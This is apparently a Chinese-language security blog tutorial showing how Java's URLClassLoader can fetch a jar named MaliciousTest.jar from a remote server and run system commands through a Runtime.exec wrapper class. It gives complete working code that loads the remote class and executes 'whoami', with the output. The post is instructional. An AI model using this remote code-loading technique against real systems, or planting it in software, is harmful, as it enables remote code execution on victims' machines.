0x01 前言
URLClassLoader继承了ClassLoader,使得URLClassLoader提供了加载远程资源的能力,利用这个这个特性加载远程的jar来实现远程恶意类调用,非常好用
比如我们远程加载java.lang.Runtime类 然后调用这个类的 exec 方法执行命令
# 倒霉蛋-目录结构├── ClassLoader│ └── CustomClassLoaderAddClassFile│ ├── Test3.java (用来做测试的方法)# 放在远程服务器上的├── MaliciousTest.jar (一个恶意的jar包)
0x02 打包jar包
0x02.1 MaliciousTest包-源码
注意这是一个 maven项目
MaliciousTest.zip
0x02.2 打包好的MaliciousTest.jar
0x02.3 打包过程





// CMD类源码import java.io.ByteArrayOutputStream;import java.io.InputStream;public class CMD {public String exec(String cmd) {String results = null;try {// 获取命令执行结果的输入流InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int l = -1;// 读取命令执行结果while ((l = in.read(b)) != -1) {baos.write(b, 0, l);}// 返回结果results = baos.toString();} catch (Exception e) {e.printStackTrace();}return results;}}








0x03 倒霉蛋的whoami

0x04 例子-远程加载MaliciousClass类执行命令
// 把MaliciousTest.jar放到远程服务器上,以供外网访问例如: http://192.168.24.134/MaliciousTest.jar
package ClassLoader.CustomClassLoaderAddClassFile;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;public class Test3 {public static void main(String[] args) {try {// 定义远程加载的jar路径URL url = new URL("http://192.168.24.134/MaliciousTest.jar");// 创建URLClassLoader对象,并加载远程jar包URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 通过URLClassLoader加载远程jar包中的CMD类Class MaliciousTest = ucl.loadClass("CMD");// 实例化Object mInstance = MaliciousTest.newInstance();// 获取exec方法Method method = MaliciousTest.getMethod("exec", String.class);// 定义需要执行的系统命令String cmd = "whoami";// 调用exec方法String results = (String) method.invoke(mInstance,cmd);System.out.println(results);} catch (Exception e) {e.printStackTrace();}}}// 运行结果pmiaowu
